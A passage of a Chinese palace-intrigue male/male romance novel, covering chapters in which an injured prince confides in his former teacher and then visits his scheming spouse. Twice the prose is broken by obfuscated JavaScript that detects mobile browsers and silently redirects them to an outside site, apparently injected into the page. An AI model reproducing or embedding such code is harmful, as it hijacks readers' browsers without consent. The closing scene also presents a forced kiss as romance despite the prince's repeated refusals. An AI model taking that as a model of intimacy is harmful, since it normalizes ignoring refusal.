奈何他并不精通药理,闻得出毒药,却探不出脉象。 这般想着,凌若尘的手忽然放到了白锦棠的衣带上,他想看看白锦棠身上的伤口。 恰在此刻,白锦棠睫毛颤了颤,不过多时,他缓缓地睁开了眼睛。 然后,凌若尘的手被抓住了。 “棠儿?” 眼前还有些迷糊,耳边的声音似乎隔得很远,他凭着本能“嗯”了一声,茫然地眨了眨眼睛,就这样过了好久,才觉得眼前的一切真实起来,而不是虚幻一片。 白锦棠下意识松开了凌若尘,费力起身,靠在床头:“我没事,好 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他的娘亲宣恩皇后惨死。 他的舅舅北渊王被赐死。 叶家功高盖主,被皇帝猜忌,满门被灭。 当时的武将,但凡有点兵权的,风声鹤唳,何况是以战功卓著的国公府?要不然老国公为什么不让凌若尘上战场,而是让他入仕,做一个无实权的帝师? 不过都是自身难保罢了。 凌若尘满眼愧疚,眸中全是痛苦:“是老师我如何温柔的?没保护好你。” “老师,我知道的。”白锦棠低垂着眉眼,苦笑,“当时,老国公病重,兵权上缴,凌家也不好过,我又怎么能为了这点小事,打扰您呢。” 白锦棠一直都知道的。 “所以,老师不用将责任推在自己身上,这大概……就是命吧……” 袖子底下的手紧紧握住,凌若尘道:“你以前从不信命的。” “我现在也不信。”白锦棠咳嗽起来,脸色越发苍白,这一刻,他的眼睛尤其的亮,“老师,我会回去的,终有一日,我会为枉死的人沉冤昭雪,我的母亲,我的舅舅,从来不是谋反的逆贼。” “好。”终于,凌若尘又在白锦棠的脸上,看见了八年前的那个意气风发的五皇子,那个张扬明媚的狂妄少年,“我帮你。” 白锦棠眸光闪了闪:“老师,你知道你在说什么吗?” 凌家多年来一直中立,不问政事。 凌若尘这句话,将会彻底打破这片平静,也意味着彻底站队宁王。 “我知道。”凌若尘抬手,这次,他终于摸到了白锦棠的脑袋,像是哄孩子一样,安抚道,“早该如此了。” “谢谢。”白锦棠低声道。 凌若尘眼底浮出宠溺:“也就只有你了。” 明明静王和安王都是他的徒弟,明明白锦棠不及他们半分乖巧,甚至可以算的上顽劣,可是凌若尘就是偏爱白锦棠。 大抵是因为,人心本就是偏的吧。 也可能因为,八年前的那场雨太大了,而少年跪在雨地里的身影,又太过倔强,太让人心疼了。 24. 促膝长谈 白锦棠受伤、被凌若尘抱回来的消息,如同插了翅膀一样传遍整个王府,被困在清河小院的谢灼脸色难看的厉害,面沉如水,正坐在院子里的树下。 白锦棠此人,满腹算计,城府很深。 前段时间,李青山耀武扬威的来,屁滚尿流的走,他是看在眼里的。 他不相信白锦棠没有提防,依他看今晚就是个想要拉拢凌若尘的局。 可他心里还是发慌。 “这狼心狗肺的玩意死了才好!”谢灼不由得出声骂道,“堂堂王爷以身犯险,对别人狠就算了,对自己更狠!还真以为自己是什么神仙,刀枪不入呢!” “我担心个屁!人家都不怕死!” “死了更好,省的气我。” 谢灼越想越生气,咬牙切齿,后来直接围着院子里的海棠树转起圈圈来,许是觉得不解气,又踹了树一脚。 力气不小,海棠树晃落一地花雨。 “要不是害怕坏了你的好事,老子早就撂挑子不干了,还真以为一个破院子,几个银月卫能关住我!呵……” “二牛,你在干什么?”打探完消息回来的翠云,才进院子就看见自己家弟弟,死死地盯着那棵树,一副要和树同归于尽的表情。 “这花开的不错。”谢灼回神,连忙收敛了表情,一副我什么也没干,就是在赏花的认真样子。 翠云有些啼笑皆非,一看就知道,谢灼这是又和自己赌气了。 “我刚从王爷那边回来,还见到了落雨姑娘。”翠云眼含笑意,故意说道。 谢灼神色有些不自然了,但依旧装作一副满不在乎的样子,语气淡淡地:“哦。” 然后翠云就没说话了。 谢灼左等右等,过了一会,故作凶狠道:“肯定是死了吧?”说完,谢灼心口一紧,有些紧张。 翠云哭笑不得:“哪能啊?王爷福大命大,怎么可能会死。” 就连谢灼都没发现,自己在听见这句话后,下意识松了一口气。 “那是怎么回事啊?怎么说是凌若尘抱回来的?”他都没那样抱过呢,谢灼心里开始冒酸泡泡。 翠云解释道:“当时情况危急,王爷替帝师大人挡了一下,受了点小伤,这才让人抱回来了,现如今已经醒了,打算和帝师大人促膝长谈。” 促膝长谈,马上是不是还要秉烛夜谈。 还要相谈甚欢。 谢灼磨了磨后槽牙,心里不屑地想:那凌若尘冷冰冰的,和一块冰块似的,看着就冻人,哪里有自己生动有趣? 也就那皮相出挑了一些,书读的多了点而已,傲气的不行,哪里有自己生的风流倜傥玉树临风啊? 还是说白锦棠喜欢这一口? 啧,那白锦棠真应该去看眼睛了。 说着,谢灼有些骄傲地抬起下巴,一副自信十足的样子:“姐,你觉得我这脸怎么样?” “……”翠云扯了扯嘴角,感觉谢灼可能疯了,“挺好的。” 谢灼满意点头,又问:“那你觉得我和凌若尘比起来怎么样?” “……其实没有可比性。”翠云委婉道。 谢灼不解:“何意?” 翠云无奈揉了揉太阳穴:“你是王爷的妻子,是青州城都承认的宁王妃,而帝师大人是王爷的老师,一个是师父,一个是枕边人,哪有把你们放在一起比较的道理?” 这说的太对了! 自己可是明媒正娶! 谢灼当时都乐了,嘴角都快咧到耳后根了,他眼神落在刚刚还面目可憎的海棠树上,现在只觉得这棵树生的实在眉清目秀。 春暖花开,也就瞬间的事情。 谢灼哼着小曲:“说的太对了!他可是王爷的老师,师父师父,算是王爷半个爹了。” 翠云:“……” 谢灼嘚瑟了一会,忽然就察觉到了不对劲的地方。 这凌若尘来王府算下来也有一天了,什么事情没谈妥,不能明天说,大半夜的叙什么旧情,就算是老师,那也要知道分寸,怎么能留宿在自己学生的卧室里。 想到这里,谢灼瞅了一眼院子门口尽忠职守的银月卫,眼珠子一转,忽然想到了一个很好的馊主意。 “姐,帮个忙呗。” 而另一边,白锦棠和凌若尘说了很多。 大多数都是来到青州后的一些事情,白锦棠并不是一个喜欢将伤口袒露出来的人,即使这人是他的师父。可奈何凌若尘似乎真的很关心自己,为进一步取得凌若尘的信任,白锦棠真假参半地说了不少。 凌若尘听的很认真,时不时还会给白锦棠回应,给人一种被人重视尊重的感觉,到最后,眼里更是满满的愧疚和心疼。 这让白锦棠有些诧异。 觉得凌若尘是不是真中邪了。 不多时,落雨端着药还有药膏进来了。 药已经凉了,刚好入口。 药膏是要涂在伤口上的。 落雨道:“王爷,该喝药了。” “好。”白锦棠怕苦,皱着眉,捏着鼻子一饮而尽,又赶紧从落雨手里接过蜜饯,吃了起来。 全程都很安静,凌若尘在一边静静地看着。 落雨拿出药膏,询问白锦棠:“主子,这药膏是……?” 白锦棠不喜欢别人近身,平日里沐浴更衣从不让人伺候,上药这种事情如非必须,也是自己亲力亲为。 “不用,我自己来。” 就在白锦棠想要伸手去拿时,一只骨节分明的手,快一步越过白锦棠,把药膏接了过去。 白锦棠:“老师?” 凌若尘将药膏打开,迎面而来一股淡淡的冷香,他声音清冷依旧,眉眼却是温和的:“我帮你上药,把衣服脱了。” “不用了,我……” “你不方便,棠儿,你乖点。”凌若尘耐心地回答。 白锦棠:“……” 白锦棠没动,凌若尘就静静地看着他,不知不觉中,周围陷入诡异的气氛,两个人谁都没先说话,似乎都在等对方松口。 落雨害怕地抖了一下。 她想走。 就在这时,房门被人扣开,秋风走了进来,先行了礼,随即有些为难地看着白锦棠。 白锦棠悄然松了一口气:“说吧,这里又没外人。” “属下失礼,打扰了主子。只是夫人生病了,想要请落雨过去看看,翠云姑娘实在是急得不行,属下这才……” 白锦棠微微变了脸色,微微蹙眉,想起自己给谢灼下的药。 不该啊,还没到时间呢。 秋风有些为难道:“夫人那边可要人去看看?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13957666|147895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白锦棠当机立断:“本王亲自去,落雨,你和本王一起。” 说完,白锦棠也不顾自己苍白,身体虚弱,从床榻上起身。 凌若尘不可抑制地蹙眉。 旁边的落雨为白锦棠穿上披风,秋风也出去告诉前来禀报的银月卫,说是白锦棠马上就会带着人过去,让谢灼先等一等。 眼看着白锦棠收拾整齐,而凌若尘还坐在原地。 白锦棠连忙道:“如今天色已晚,又忙活了这么久,老师想必也累了,不如先回去吧,若有什么事情,我们明天再说。” 苍白的脸颊全是疲惫,可眼里却是止不住的担忧和牵挂,消瘦的身体被裹在披风里,单薄的厉害,发丝披散在肩膀两侧,似弱柳扶风,马上就要碎掉一般。 明明自己都成这样了。 不过那人一个不舒服,便让白锦棠不管不管地起身,要去看他。 这该是有多喜欢,多在乎啊。 见凌若尘沉默不语,白锦棠疑惑:“老师?” “我和你一起去看看吧。”凌若尘站起身,走到白锦棠的身边,扶住了白锦棠的胳膊,好让他不至于站的吃力。 “老师,这不合规矩,毕竟您是师长,该是学生带内子来拜见您,哪有让您亲自去的道理?” 虽然想不明白,凌若尘为何如此反常。 但这要是让凌若尘看见了谢灼,这还得了? 前世两个人一见面便是水深火热,这一世怕是也不会好过,况且谢灼身份特殊,想要杀他的人不知凡几,最主要是,他如今在自己的王府,弄不好,还会牵连到自己。 凌若尘却不在乎,倏地一笑,若山雪消融,化作春池碧水,好生好看。 “他既然是你的妻子,便算是我的徒媳,见见倒也无妨,我不在乎那些规矩。” 这话说的。 好像八年前,因为不守规矩,罚白锦棠抄书罚站的人不是他一样。 “怎么这么看着我?”白锦棠的目光过于惊讶,让凌若尘多问了一句。 白锦棠干巴巴道:“您好像变了。” “你也变了。”凌若尘目光幽深,微微叹气,“你以前,从来不会与我这般生疏。” “不是生疏了,只不过懂得了一些道理。”白锦棠摇头,“从前是学生混账了。” “我倒是想让你和以前一样混账……”凌若尘目光微敛,带着点淡淡的忧伤,声音很小很小,以至于白锦棠根本没听清楚,凌若尘的话。 “什么?”白锦棠问。 凌若尘:“没什么?我们走吧。” 白锦棠再也找不到拒绝的理由了,只能硬着头皮带着凌若尘往清河院走去,以至于一路上魂不守舍的,想着怎么将人打发回去。 这一切放在凌若尘眼里,就成了忧心谢灼。 而那边满心欢喜等着白锦棠来看他的谢灼,知道凌若尘也跟着一起来的消息,从鼻子里哼出一声不屑,差点没把白眼翻到天上去。 三更半夜的,他们夫夫两个说些体己话,互相关心一下,培养一下感情。 凌若尘这个做人家师父的来做什么? 教他们怎么行周公之礼吗? 不行,他要想个办法将人赶走。 他都好些时候没见到白锦棠了,可不能因为凌若尘搞糊了。 25. 缠绵悱恻 白锦棠带着人来到清河小院的时候,翠云就守在房间门口。 大老远就看见身体虚弱的白锦棠,身后还跟着一位神仙似的公子,心里也大概有了猜测,这位想必就是那位帝师大人。 翠云赶紧迎了上去。 “王爷,你终于来了。” “夫人怎么样了?”白锦棠扶住想要行礼的翠云,目光落在还亮着烛火的房间,眉头紧锁,似乎很是着急。 翠云这才说道:“许是吹了一夜冷风的缘由,前几日从王爷那里回来,身体便有些不舒服,这几日卧病在床,一直不见好。这才想着让人去请落雨姑娘看看。” “这几天就这么熬着?” “倒也不是。”翠云叹息,“找过大夫来看,喝了好几副药,没什么用,说是心病。” 白锦棠大概明白了。 合着谢灼相见自己,找不到理由,就借着生病的借口,装模作样地去请落雨。偌大王府谁不晓得落雨一直照料白锦棠衣食住行,说是找落雨,其实和直接说,想要自己去看他没什么区别。 还挺曲折迂回的。 想来也没什么大病,都是作的。 白锦棠颔首:“我进去看看他。” 眼中浮出笑意,像是有些羞赧地看着凌若尘,不好意思道,“见笑了。” 凌若尘唇微抿,声音淡淡地:“无碍。” 翠云错开身子,让白锦棠进去。 凌若尘作势也要跟进去,却被翠云拦在门外。 凌若尘:“嗯?” 翠云脸上挂着温婉清秀的笑容,态度十分恭敬:“帝师大人,请留步。夫人得了心病,如今只想见王爷,说些体己话,您如今进去,怕是有些不合适。” 凌若尘踏进门槛的脚收了回来,隔着屏风,看着房间内晕晕沉沉的光影。 “你是王妃的姐姐?” 翠云:“民女正是。” 凌若尘轻笑,情绪不明:“所以你这是要赶本座走?” 翠云连忙道:“民女不敢。” 这好歹是当朝帝师,宁王的老师。 翠云自然是不能轻易得罪的,但凌若尘若是要进去,却也是不行的。 一边的落雨有些惊讶。 看不出来啊,翠云平日里温温柔柔的,如今竟然敢和帝师正面杠。 这可不得了。 落雨连忙咳了几声,冷汗淋淋地站了出来,忍着发抖的声音,故作轻松地笑道:“翠云姐姐,这天怪冷的,我们不如先请帝师大人进去坐坐?放心,我们不进内室,就在外面等着,不会打扰到王爷和夫人的。” 说着,连忙给翠云使眼色。 “帝师大人请进,民女为帝师大人奉茶。”翠云这才让开,实则后背也是发凉,冷汗几乎快要浸透衣襟。 心里觉得自己摊上谢灼这个弟弟,真是倒了大霉。 等黑市的事情结束了,自己必定连夜收拾包袱离开青州,再也不掺和这两个人之间的破事了。 翠云在心里骂了不知道谢灼多少遍。 而凌若尘自进来,就没再说话,刀削的脸庞本就冰冷,如今再看,竟然还多了些不可言喻地刻薄凌厉,足以让在场的所有人瑟瑟发抖。 “大人,请用茶。” 是碧螺春,色香味俱全,用的还是今年的新叶。 可纵然是这般好的茶,也缓解不了半点这冷到骨子里的气氛,实在是折磨人。 而内室,却是缠绵悱恻的。 屋子里的烛火并没有全部点燃,晕染着淡淡地暖色,以至于有些昏暗,模糊不清之中,竟然有些暧昧。 谢灼正躺在床榻上,帷幔遮掩住他的身形,将整张床榻罩的严严实实。 脚步声在寂静的内室格外清晰,白锦棠并没有可以控制脚步声,他就是要让谢灼知道,自己来了。 可是床上的人,却没有丝毫的动静。 “夫人?” 见无人应答,白锦棠挑眉,手指挑起帷幔的一侧,想要将帷幔掀开,结果才露出一条缝,一只结实有力的大手就顺着那条缝,抓住了白锦棠的手腕。 下一秒,那双大手狠狠一拉,白锦棠不察,跌入了帷幔之中,扑到了帐中人早已蓄谋已久的怀中。 腰肢被谢灼握在掌心,呼吸喷洒在他的头顶,他听见谢灼含着笑意的戏谑声音: “王爷,怎么才来,就急着投怀送抱啊。妾身真的好生受宠若惊啊……” 谢灼按着白锦棠的后背,乌黑的发丝也被他全部拢到胳膊上,说不出的滚烫炽热。 “呵。”白锦棠撑起身子,低头看向身下的谢灼,将他胡作非为的手按在了床榻上,漂亮的桃花眼眯了眯,声音低沉悦耳,“这就是你说的病重,我看着怎么不像是生病,到像是发情。” “王爷啊王爷,你说你这张嘴生的这样好看,是怎么说出如此难听的话的?”谢灼也不反抗,任由白锦棠压在自己身上,眼里的笑意似乎要将白锦棠吞没。 白锦棠反问:“我说的不对?” “对,王爷说的对极了,”谢灼呼吸一滞,变得粗重,“所以王爷不打算帮帮我吗?来都来了。” “想的倒是美。”白锦棠拍了拍谢灼脸,一脸挑衅。 谢灼十分熟练的抓住了白锦棠的手,然后舔了一口:“真不试试?我会让王爷舒服的,不让你疼。” 好没皮没脸的家伙。 “不要脸的东西!” 白锦棠毫不留情地甩开谢灼的手,从他的身上下来,理了理自己的衣袖,坐在了床边的椅子上。 谢灼:“王爷好绝情哦。” 白锦棠淡淡道:“我要是绝情,便不会亲自来看你,而是让人直接将你用草席卷了,丢乱葬岗。” 谢灼:“不行啊,王爷,那里有鬼,妾身会害怕的。” 白锦棠:“呵,你是觉得我真的不会收拾你吗?” 谢灼一听,这还得了,本来还想从床上起来,又躺了回去,他捂着心口,眉头紧锁,声音还带着颤抖,好生娇弱道:“王爷,我心口疼的厉害,好像真的病了,难受的不行。” 白锦棠不搭理他,看都不看他整的幺蛾子。 说着,谢灼声泪俱下:“王爷,我疼的不行,要喊出来了。要不然你还是叫落雨进来给我看看吧,我可能活不长了。” 白锦棠:“……” 凌若尘还在外面呢,如果落雨进来了,凌若尘定然也不会老实待在外面。 这厮是在威胁他啊。 “夫人,你知道这样做的后果吗?”白锦棠皮笑肉不笑道。 “我只知道,早死晚死都要死,而我想牡丹花下死。”看着白锦棠越来越难看的脸色,似乎想要发作自己,谢灼立马捂着脑袋道,“王爷,我这得的可是相思病啊!” “啊,为什么王爷一生气,一凶我,我就难受?” “看来是因为爱的深沉。” 白锦棠蹙眉,终于问出了心里的那句话:“……你今天发什么神经?” 听见这话,谢灼立马生龙活虎起来,掀开帷幔,坐在床边,控诉道:“那你今天又去干什么了?” 而谢灼也终于看清楚了白锦棠发白的嘴唇,还有那惨白如纸的脸色,忽然就有些恼了。 这才过了多久,白锦棠就把自己又搞成这样! 他为什么就不能懂得保护自己,明明身体不好,还要一次一次地拿自己身体开玩笑,做诱饵! “这和你有什么关系?”白锦棠最讨厌别人过问自己的事情了,他有自己的打算,不需要别人置喙。 本来就恼的谢灼,听见这句话,直接呛了回去:“那我就算病死了,又和你有什么关系?” 空气中很快就弥漫了火药味。 他算是发现了,谢灼总是喜欢问为什么。 而那些为什么,偏偏是白锦棠最不想回答的。 太浪费时间,也太浪费感情。 白锦棠:“你不觉得你太好奇了吗?总想知道为什么。” 谢灼冷笑:“要不然呢,让我像个傻子一样待在你的身边,哪一天被你算计的丢了性命,说不定还在帮你数钱。” 白锦棠笑了出来,可眼里却没有笑意,更没有反驳。 其意不言而喻。 谢灼:“好好好,我就知道,你是个没有心的。” 这下子真把谢灼气到了。 眼看着谢灼收敛了嬉皮笑脸,挑开帷幔走了出来,站在自己椅子前,直勾勾地看着自己,白锦棠有些不悦:“你到底想干什么?” “我想做什么……”谢灼弯腰,一字一顿道,“你竟然问我想做什么!” 他们离得太近了,谢灼的小腿贴着他的膝盖,手臂正扶白锦棠身体里两侧的椅子上,将他圈进在自己的胸膛和椅子之间,这处狭小的空间里。 谢灼目光灼灼,大有一众逼问之态:“剿灭黑市,除掉李青山,不惜以身做局,只为拉拢凌若尘。白锦棠,你的命,是真的不想要了吗?” 不是揭穿白锦棠妄图问鼎九五的野心。 而是问他,你还想活吗? 谢灼…… 是在担心他。 真是可笑啊,本该恨透的人,竟然在关心他。 谢灼重复:“回答我。” 白锦棠脑袋懒懒地靠在椅背上,苦笑:“就是想活,才要这样做,你当真以为我是活腻了吗?” 他的眉眼像是在刹那间失去了颜色,一身温柔多情化作满身的颓废,厌世、忧郁和冷漠充盈了他的眸子,像是在感叹,又像是在自讽: “我比谁都想自己长命百岁。” 这是谢灼从来没见过的那一面,但只一眼,就足够让谢灼心慌意乱。 冷厉的脸庞忽然柔和了,质问的话语再也吐不出来分毫,他忽然想要抱住白锦棠,想要安抚他,想要告诉他。 一切都会好的。 无论白锦棠身上发生过什么事,他都会陪着他的。 但他始终什么也没说,因为白锦棠不需要别人的怜悯。 “我先给你上药。”谢灼在知道白锦棠受伤后,就求翠云帮忙去询问伤势,顺带还要了瓶药,方便自己给白锦棠上药。 “不用……”话还没说完,谢灼直接扯开了白锦棠的衣带,根本不给他反应的机会,白锦棠见此只好闭嘴了。 谢灼从袖子里掏出药膏,直接蹲在了白锦棠的面前,随着衣服滑落肩头,衣服堆积在白锦棠的臂弯,乌黑的发丝则是被谢灼全都拢到身后。 只见莹润的肌肤上,有一个小指大小的伤口,周围已经泛起了青紫,足足有半个巴掌大小,轻轻一碰,便让白锦棠倒吸一口冷气。 “疼吗?”谢灼抬头,将药膏小心翼翼地涂上去,就感觉白锦棠下意识瑟缩一下,不知道是凉的,还是疼的,谢灼见此冷笑,“我看还不够疼,起码半条胳膊都应该没了,你才能长记性。” 话虽如此,却耐不住谢灼更加小心翼翼地动作。 白锦棠低眉看着他,“嗯”了一声,竟然没有怼回去。 “真是倒了八辈子大霉遇见你了,天天欺负我好玩吗?” 这酸里酸气的语气,还暗含着担心,大有一种口嫌体正直的感觉。 让白锦棠不由得笑出声。 谢灼耳朵一红:“你笑什么?” 白锦棠坦言:“我发现你这样还挺可爱的。” 比上一世招人喜欢,动不动就威胁人,恨不得把他锁在床榻上,一副要将他吞吃入腹的凶残样子。 “白锦棠!” “是挺好玩的。”白锦棠在回答谢灼前一句话。 谢灼:“……” 要不还是让这人去死吧,活着太遭人嫌了。 谢灼咬牙切齿:“你知不知道你这样很招人嫌!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你威胁我。”谢灼不开心地说。 白锦棠微微侧头,朝着谢灼抬了抬下巴,示意他将抓住自己手腕的手松开。 谢灼立马就松开了,却没有要离开的架势,反而就着这个姿势,把手按在了白锦棠耳侧的椅背上,几乎和白锦棠相贴,他低头看着而几乎被自己拢进怀里的人。 “王爷……”谢灼看着不断地试图远离自己的人,眼中有些不悦。 “滚!” 白锦棠拳头紧握,还在寻思着是给谢灼一巴掌,让他清醒一下,还是踹他一脚,让他直接滚出去时。 谢灼先动了。 他膝盖跪在椅子上,胆大包天的朝着白锦棠倾身压去,一手扼住了白锦棠的下巴,他们的眼眸撞击在一起,几乎快要吻上的刹那,谢灼道: “这才是真正的放肆。” 说着,一个炽热的吻落了上去。 他咬住了白锦棠唇,同他口舌交缠,掠夺着他口中的呼吸,镇压着他所有的反抗,一点一点侵占属于白锦棠的一切,像是一头野兽,在自己的领地上,落下独属于自己标记。 窒息感和唇齿交融的酥麻,让白锦棠心里一惊,控制不在的发抖,承受不住般推搡着他的胸膛,却不敢闹出很大的动静,也不愿意展露自己发慌的内心。 椅子发出嘎吱嘎吱响声,尖锐刺耳,很快就吸引了外面的人。 隐隐约约,似乎还能听见翠云他们的说话声。 有人试探性地叫了一声:“主子?“ 白锦棠终于将人推开了,着急忙慌地说一声:“没事,别进来!” “是。” 看着白锦棠面红耳赤,快要喘不过气来的样子,谢灼舔了舔嘴唇道:“怎么才这样就受不住了。” “给我滚,你发什么疯?”白锦棠瞪着谢灼,见外面的人并没有进来,微微松了一口气。 谢灼勾唇一笑,同他耳鬓厮磨:“王爷不是想演一出夫妻恩爱的戏码吗?就在刚刚,我想到了一个好办法,与其凭借一张嘴说,还不如眼见为实。” “找死!”白锦棠毫不犹豫地抬脚踹去,下一秒就被谢灼摁了下去,只见谢灼趴在他的耳边胆大包天道,“王爷,您还受着伤呢,这种事情,不劳烦您亲自来,这几日呆在清河小院,我学了不少东西。” 白锦棠:“……” “您会喜欢的。” 呼吸洒在白锦棠的耳旁,不同刚才那个粗暴的吻,这个吻缠缠绵绵的,星星点点一样的落在他的眉眼上。 温柔的如岸边杨柳拂过一池碧水,烟雨朦胧荡起点点的涟漪。还带着点讨好的意味,想将他拉入万丈红尘之中。 太痒了,也太暧昧,就好像他们真的是相爱的一对情侣,相互抚.慰。 像是有片羽毛挠着他的心尖,让他身体发颤,极度的不适应,却又极致的渴望。 白锦棠还是忍不住想给谢灼来一巴掌,却在半途被抓住了手腕,压在了椅背上。 那吻顺着他的眉眼往下,落在他的唇角下巴,乃至于脖颈上,留下红梅落雨一般的印记,炽热的温度让白锦棠喘息了一下,几乎是从牙缝里挤出来几个字。 “怜奴,你真是好样的啊,我一定要……杀……” “咣当!”白锦棠的话还没有说完,就听见稀里哗啦的碎裂声。 是谢灼把桌子上的花瓶给砸了! 这样大的动静,想不引起外面的人注意都难,外面很快就响起脚步声,还有落雨和翠云说话的声音。 他们的身影打在房间的屏风上,随着人越走越近,屏风上的人影也越来越大。 白锦棠太阳穴青筋暴跳。